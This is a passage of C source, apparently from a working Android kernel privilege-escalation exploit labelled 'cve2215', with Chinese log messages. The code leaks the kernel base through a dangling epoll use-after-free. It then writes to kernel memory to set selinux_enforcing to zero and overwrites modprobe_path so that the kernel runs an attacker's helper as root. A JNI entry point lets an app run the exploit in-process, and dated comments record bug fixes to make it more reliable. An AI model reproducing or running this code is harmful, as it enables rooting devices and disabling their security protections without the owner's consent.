                else
                    log_line("[-] 基址 0x%lx 不在 0xffffff8000000000 到 0xffffffc000000000 之间\n",
                             (unsigned long)base);
                if (attempt < LEAK_TRIES) {
                    log_line("[!] 第 %d/%d 次的基址不可信(func=0x%lx),还剩 %d 次,重新建一套 fd 再试(内核一个字都没写)\n",
                             attempt, LEAK_TRIES, (unsigned long)func, left);
                    usleep(300000);
                    continue;
                }
                log_line("[-] %d 次尝试的基址都不可信,停止(内核一个字都没写)\n", LEAK_TRIES);
                log_line("[-] 本次已留下 %d 个悬空 epoll 项,重启后再试\n", g_uaf_rounds);
                fail_stay_alive(base_low != KASLR_EXPECT_LOW
                                    ? "基址对齐校验不通过"
                                    : "基址范围校验不通过");
                return 1;
            }
            leak_ok = 1;
            g_uaf_streak = 0;
            break;
        }
        if (!leak_ok) {
            fail_stay_alive("泄漏循环没有拿到可用结果");
            return 1;
        }
        /* 兜底:写内核之前再独立核一遍。循环里每个不可信分支都已经 continue 或退出,
         * 这里再复核一次,保证"判定不可信就一个字都不写"不依赖分支是否写漏。 */
        if (!base_is_trusted(base)) {
            log_line("[-] 兜底校验:基址 0x%lx(低 21 位 0x%lx)不可信,停止\n",
                     (unsigned long)base, (unsigned long)base_low);
            log_line("[-] 本次一个字都没有写进内核,进程将保持存活以避免关闭悬空 epoll\n");
            fail_stay_alive("基址兜底校验不通过");
            return 1;
        }

        unsigned char zero4[4] = {0, 0, 0, 0};
        if (kwrite_retry(base + off_selinux, zero4, 4, 4))
            log_line("[!] 写 selinux_enforcing 失败(重试 4 次仍不符)\n");
        else
            log_line("[+] 已写 selinux_enforcing=0\n");

        int enf = open("/sys/fs/selinux/enforce", O_RDONLY);
        if (enf >= 0) {
            char eb[16] = {0};
            int en = read(enf, eb, sizeof(eb) - 1);
            close(enf);
            if (en > 0) log_line("[+] 回读 /sys/fs/selinux/enforce = %s", eb);
            if (en > 0 && eb[0] != '0') {
                log_line("[-] selinux_enforcing 写入未生效,停止后续写入\n");
                log_line("[*] 保持进程存活,避免关闭悬空 epoll 触发清理\n");
                handoff_fds();
                for (;;) sleep(3600);
            }
        }

        /* 4.4 的 modprobe_path 是 256 字节(KMOD_PATH_LEN)。
         * 这里原来是 64,把长路径截断成不存在的文件,内核执行失败,
         * 后面就走进「三轮都没能让内核执行 helper」那条从未验证过的分支。
         * 2026-11-09 新包名把路径撑到 70 字节,正好踩中。 */
        char pathbuf[256];
        memset(pathbuf, 0, sizeof(pathbuf));
        if (strlen(script) >= sizeof(pathbuf)) {
            log_line("[-] helper 路径 %d 字节,超过内核 modprobe_path 的 255 上限,拒绝写入\n",
                     (int) strlen(script));
            log_line("[*] 保持进程存活,避免关闭悬空 epoll 触发清理\n");
            handoff_fds();
            for (;;) sleep(3600);
        }
        strncpy(pathbuf, script, sizeof(pathbuf) - 1);
        size_t plen = strlen(pathbuf) + 1;

        int triggered = 0;
        /* 保留历史的三轮重试(0.9 起的设定),不要削。
         * 2026-11-09 的 panic 不是因为轮数多,是因为路径被截断导致每一轮都必然无效,
         * 才会一路写到第三轮。路径修好之后第一轮就会成功,后两轮根本不会执行。 */
        for (int round = 1; round <= 3 && !triggered; round++) {
            if (kwrite_retry(base + off_modprobe, pathbuf, plen, 4)) {
                log_line("[!] 第 %d 轮:写 modprobe_path 失败\n", round);
                continue;
            }
            log_line("[+] 第 %d 轮:已写 modprobe_path=%s\n", round, pathbuf);
            if (trigger_modprobe(script) >= 500) {
                triggered = 1;
                break;
            }
            log_line("[!] 第 %d 轮触发无效,重写后重试\n", round);
        }
        if (!triggered) {
            log_line("[-] 三轮都没能让内核执行 helper。内核已处于弱化状态(SELinux 已关),\n");
            log_line("[-] 但 root 没有拿到。本次必须重启,不要强杀本进程。\n");
        }
        log_line("[*] 触发完成,正在把 fd 交给 keeper\n");
        handoff_fds();
        log_line("[*] 进程保持存活(即使被系统杀掉也安全)\n");
        for (;;) sleep(3600);
        return 0;
    }

    fprintf(stderr, "usage: %s leak | kwrite <addr_hex> <data_hex> | auto <off_ep> <off_selinux> <off_modprobe> <script>\n", argv[0]);
    return 2;
}


/* ---------- JNI / in-process entry ---------- */

void cve2215_set_paths(const char *log_path, const char *trigger_path) {
    if (log_path) {
        strncpy(g_log_path, log_path, sizeof(g_log_path) - 1);
        g_log_path[sizeof(g_log_path) - 1] = 0;
    }
    if (trigger_path) {
        strncpy(g_trigger_path, trigger_path, sizeof(g_trigger_path) - 1);
        g_trigger_path[sizeof(g_trigger_path) - 1] = 0;
    }
}

/*
 * Runs the exploit in the calling thread. On success it never returns
 * (keeps the thread/process alive to avoid dangling epoll cleanup).
 * On failure it returns non-zero via longjmp or cve2215_main's return.
 */
int cve2215_run_jni(const char *log_path, const char *trigger_path,
                    const char *script,
                    unsigned long off_ep, unsigned long off_selinux,
                    unsigned long off_modprobe) {
    cve2215_set_paths(log_path, trigger_path);
    g_jni_mode = 1;
    setenv("CVE2215_FG", "1", 1);

    if (setjmp(g_fail_jmp)) {
        log_line("[-] JNI exploit aborted (longjmp)\n");
        handoff_fds();
        return -1;
    }

    char ep[32], se[32], mp[32];
    snprintf(ep, sizeof(ep), "0x%lx", off_ep);
    snprintf(se, sizeof(se), "0x%lx", off_selinux);
    snprintf(mp, sizeof(mp), "0x%lx", off_modprobe);
    char *argv[] = {"cve2215", "auto", ep, se, mp, (char *)script, NULL};
    return cve2215_main(6, argv);
}